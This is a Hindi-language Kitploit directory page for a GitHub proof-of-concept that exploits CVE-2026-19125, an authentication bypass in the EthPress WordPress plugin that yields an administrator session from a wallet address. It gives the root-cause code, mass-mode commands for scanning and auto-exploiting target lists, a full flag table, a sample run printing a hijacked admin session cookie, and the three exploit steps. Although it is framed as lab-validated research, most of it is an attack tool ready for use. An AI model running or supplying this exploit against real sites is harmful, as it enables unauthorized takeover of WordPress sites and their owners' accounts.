Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
Log in
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
By-Poloss..-..CVE-2026-19125 — EthPress <= 2.3.5 के अनधिकृत प्रमाणीकरण बायपास का शोषण करने वाला सत्यापित proof-of-concept, जो वॉलेट पते के माध्यम से WordPress administrator सत्र प्रदान करता है। | Kitploit
उपकरण/GitHubGitHub/polosss/by-poloss..-..cve-2026-19125
पासवर्ड हमलेभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगप्रमाणीकरणरेड टीमिंग

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
GitHub
polosss/by-poloss..-..cve-2026-19125

By-Poloss..-..CVE-2026-19125

EthPress <= 2.3.5 के अनधिकृत प्रमाणीकरण बायपास का शोषण करने वाला सत्यापित proof-of-concept, जो वॉलेट पते के माध्यम से WordPress administrator सत्र प्रदान करता है।

रिपॉजिटरी देखें
2822 दिन पहलेअभी तक समीक्षित नहीं

CVE-2026-19125 — EthPress <= 2.3.5 अनधिकृत प्रमाणीकरण बायपास

EthPress वॉलेट-लॉगिन प्रमाणीकरण बायपास के लिए कार्यशील, सत्यापित प्रूफ-ऑफ-कॉन्सेप्ट, जिसे X-1 localhost लैब के विरुद्ध विकसित और मान्य किया गया है।

  • परिणाम: अनधिकृत हमलावर केवल एक सार्वजनिक वॉलेट पते का उपयोग करके एक वैध WordPress प्रशासक सत्र (RAZZ, उपयोगकर्ता आईडी 1, roles=['administrator']) प्राप्त कर लेता है।
  • लैब: http://localhost:8080 — WordPress + MySQL (Docker, wp_app/wp_db)
  • लैब में सक्रिय संवेदनशील बिल्ड: ethpress 2.3.5
  • तुलना बिल्ड (स्थापित नहीं): ethpress 2.3.6 _plugin-reference/ में

1. बग का TL;DR

app/Login.php::verify_login() (v2.3.5) वॉलेट हस्ताक्षर की जाँच करता है, जाँच विफल होने पर एक WP_Error बनाता है — और फिर वापस लौटना भूल जाता है:

51   if ( !$verified ) {
52       $user = new \WP_Error('ethpress', $verify_error);   // dead store, no return
53   }
54   // Log in.                                              // fall-through
55   try {
...
70       $user = $address->log_in();                         // wp_set_auth_cookie()

निष्पादन लॉगिन ब्लॉक में जारी रहता है, Address::log_in() हमलावर द्वारा दिए गए वॉलेट पते को उसके स्वामी WordPress उपयोगकर्ता से हल करता है, और wp_set_auth_cookie() उस उपयोगकर्ता को प्रमाणित करता है। प्रतिक्रिया {"success":true,"data":{"message":"Logged in"}} होती है।


2. PoC चलाना

# single target
python3 poc.py -u http://localhost:8080 -a 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a

# mass mode (file of targets, 20 threads, JSONL log)
python3 poc.py -f targets.txt -t 20 -o results.jsonl -a 0xVICTIMWALLET

# several candidate addresses against several targets
python3 poc.py -f targets.txt -af addresses.txt -t 20 -o results.jsonl

फ्लैग्स

फ्लैगअर्थ
-f, --fileमास स्कैन + ऑटो-एक्सप्लॉइट के लिए लक्ष्य URL की फ़ाइल (प्रति पंक्ति एक, # टिप्पणियाँ)
-t, --threadsसमवर्ती वर्कर थ्रेड्स (डिफ़ॉल्ट 10)
-o, --outputआउटपुट/लॉग पथ, JSON Lines (डिफ़ॉल्ट cve-2026-19125-results.jsonl)
-u, --urlएकल लक्ष्य URL (दोहराने योग्य)
-a, --addressWordPress खाते से जुड़ा शिकार का वॉलेट पता
-af, --address-fileउम्मीदवार वॉलेट पतों की फ़ाइल
-k, --private-keyहमलावर की निजी कुंजी हेक्स (डिफ़ॉल्ट: प्रति हमले नई यादृच्छिक कुंजी)
--timeoutHTTP टाइमआउट सेकंड (डिफ़ॉल्ट 20)
--verify-tlsTLS प्रमाणपत्र सत्यापित करें
-q, --quietप्रति-लक्ष्य प्रगति पंक्तियाँ दबाएँ

requests एकमात्र निर्भरता है (pip install requests)। सभी Ethereum क्रिप्टो (Keccak-256, secp256k1, RFC 6979 हस्ताक्षर, पता पुनर्प्राप्ति) केवल मानक लाइब्रेरी के साथ poc.py के अंदर कार्यान्वित हैं।

नमूना रन (लैब)

[*] attacker wallet : fresh random key generated per attack
[*] targets=1 addresses=1 jobs=1 threads=1
[*] http://localhost:8080    EXPLOITED   authentication cookie accepted by WordPress (full administrator confirmed)
[!]   !! EXPLOITED http://localhost:8080 as user id=1 login=RAZZ roles=['administrator'] (primitive: valid-signature)
[!]   !! session cookie: wordpress_logged_in_37d007a5...=RAZZ%7C1790339157%7C...

3. एक्सप्लॉइट कैसे काम करता है (3 चरण)

  1. नॉन्स हासिल करें। GET /wp-login.php करें और ethpressLoginWP.loginNonce पढ़ें। यह एक अनाम (uid=0) सत्र के लिए जारी किया गया wp_create_nonce('ethpress_log_in') है और इसलिए हमलावर की स्वयं की अनधिकृत AJAX कॉल के लिए वैध है।
  2. हमलावर की अपनी कुंजी से कुछ भी हस्ताक्षरित करें। हस्ताक्षर क्रिप्टोग्राफिक रूप से सुदृढ़ है लेकिन हमलावर का पता पुनर्प्राप्त करता है, जो सबमिट किए गए coinbase से भिन्न है। verify2() [false, error] लौटाता है — और 2.3.5 इसे त्याग देता है। (पूरी तरह से खाली हस्ताक्षर भी काम करता है; poc.py स्वचालित रूप से उस पर वापस आ जाता है।)
  3. सत्र सिद्ध करें। जारी किए गए कुकी का उपयोग /wp-admin/ तक पहुँचने, सत्र का REST नॉन्स स्क्रैप करने, और /wp/v2/users/me?context=edit को कॉल करने के लिए करें → वास्तविक उपयोगकर्ता आईडी, लॉगिन और भूमिकाएँ; साथ ही चार प्रशासक-केवल स्क्रीनों तक पहुँच का दावा करें।

4. सत्यापन मैट्रिक्स (सभी निष्पादित, दावा नहीं)

परीक्षणबिल्डअपेक्षितदेखा गयाआर्टिफैक्ट
सकारात्मक एक्सप्लॉइट, जुड़ा एडमिन पता2.3.5टेकओवरid=1 RAZZ roles=['administrator'], सभी 4 एडमिन कैपresults.jsonl, evidence/run-positive.log
नकारात्मक नियंत्रण, बिना जुड़ा पता2.3.5कोई सत्र नहीं"You have not registered on this site"results-neg.jsonl
पैच किया गया नियंत्रण, दोनों प्रिमिटिव2.3.6अस्वीकृत"Failed to verify signature. The address ... extracted ..."results-patched.jsonl, evidence/run-patched-236.log
कच्चा curl पुनरुत्पादन, कोई टूलिंग नहीं2.3.5`Set-Cookie: ...=RAZZ...`पुष्टि की गई
हस्ताक्षर-इनपुट सीमा मैट्रिक्स2.3.5मिश्रित2 नियतात्मक प्रिमिटिव; यादृच्छिक ब्लॉब्स ≈50/50 या HTTP 500evidence/boundary-matrix.txt
users_can_register=1, बिना जुड़ा पता2.3.5नया सब्सक्राइबर सत्रउपयोगकर्ता 0xAAAA... भूमिका subscriber के साथ बनाया गया, लॉग इन (फिर हटाया गया)evidence/results-registration-open.jsonl

इनमें से कोई भी पुनरुत्पादित करें:

bash lab-switch-version.sh 2.3.6        # patched  -> exploit fails
bash lab-switch-version.sh 2.3.5        # vulnerable -> exploit succeeds
bash evidence/raw-repro.sh              # tool-free curl transcript
python3 boundary-test.py                # signature-input matrix

5. उपयोग किया गया लैब सेटअप

# plugin availability (official source only)
curl -s -o /dev/null -w '%{http_code}\n' https://wordpress.org/plugins/ethpress/   # 200

# vulnerable build installed and active
docker cp /tmp/plugin-src/ethpress/vulnerable-extracted/ethpress \
  wp_app:/var/www/html/wp-content/plugins/ethpress
docker exec wp_app sh -c 'chown -R www-data:www-data /var/www/html/wp-content/plugins/ethpress \
  && find /var/www/html/wp-content/plugins/ethpress -type d -exec chmod 755 {} + \
  && find /var/www/html/wp-content/plugins/ethpress -type f -exec chmod 644 {} +'
docker exec wp_app wp plugin activate ethpress --allow-root     # version 2.3.5

# precondition: admin (id=1 RAZZ) has a linked wallet address
docker exec wp_app wp user meta update 1 ethpress 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a --allow-root

wp user meta update ठीक वही स्टोरेज कुंजी लिखता है जो प्लगइन का स्वयं का Address::create() लिखता है (update_user_meta($uid, 'ethpress', $coinbase)), इसलिए पूर्व-शर्त वैध तरीके से प्रावधानित की जाती है — लक्ष्य का कोई कृत्रिम कमजोरिकरण नहीं।

डिफिंग के लिए संदर्भ बिल्ड प्लगइन्स निर्देशिका के बाहर रहते हैं: ../_plugin-reference/ethpress/{vulnerable,latest}।

सामना की गई लैब कठिनाई (प्रलेखित, अब संभाली गई)

Apache चलते रहने के दौरान प्लगइन संस्करणों को जगह पर बदलने से OPcache में पुराना संकलित बाइटकोड रह जाता है। PHP तब पिछले संस्करण की फ़ाइलों को निष्पादित करना जारी रखता है; क्योंकि 2.3.6 का freemius/start.php:584 को freemius/require.php → includes/class-fs-hook-snapshot.php (एक फ़ाइल जो केवल 2.3.6 में मौजूद है) की आवश्यकता होती है, साइट ने HTTP 500 लौटाया भले ही डिस्क पर 2.3.5 था। lab-switch-version.sh अब प्रत्येक स्विच के बाद wp_app को पुनः आरंभ करता है और /wp-login.php के 200 लौटने की प्रतीक्षा करता है। हमेशा चल रहे संस्करण की पुष्टि करें, केवल डिस्क पर मौजूद संस्करण की नहीं।


एग्ज़िट कोड

कोडअर्थ
0कम से कम एक लक्ष्य EXPLOITED हुआ
1ठीक चला, कोई लक्ष्य एक्सप्लॉइट नहीं हुआ
2गलत उपयोग — इनपुट फ़ाइल अनुपलब्ध/अपठनीय, या कोई वॉलेट पता नहीं दिया गया

-a वह एक चीज़ है जिसे आपको सही करना ही होगा

-a/--address वह वॉलेट पता होना चाहिए जो लक्ष्य WordPress खाते से पहले से जुड़ा है — अर्थात् wp_usermeta पंक्ति जिसमें meta_key = 'ethpress' है। PoC इसे अनुमान नहीं लगा सकता: पता कहीं भी सार्वजनिक रूप से उजागर नहीं है।

docker exec wp_app wp user meta get 1 ethpress --allow-root
# -> 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a   use THIS value
टूल डाउनलोड करें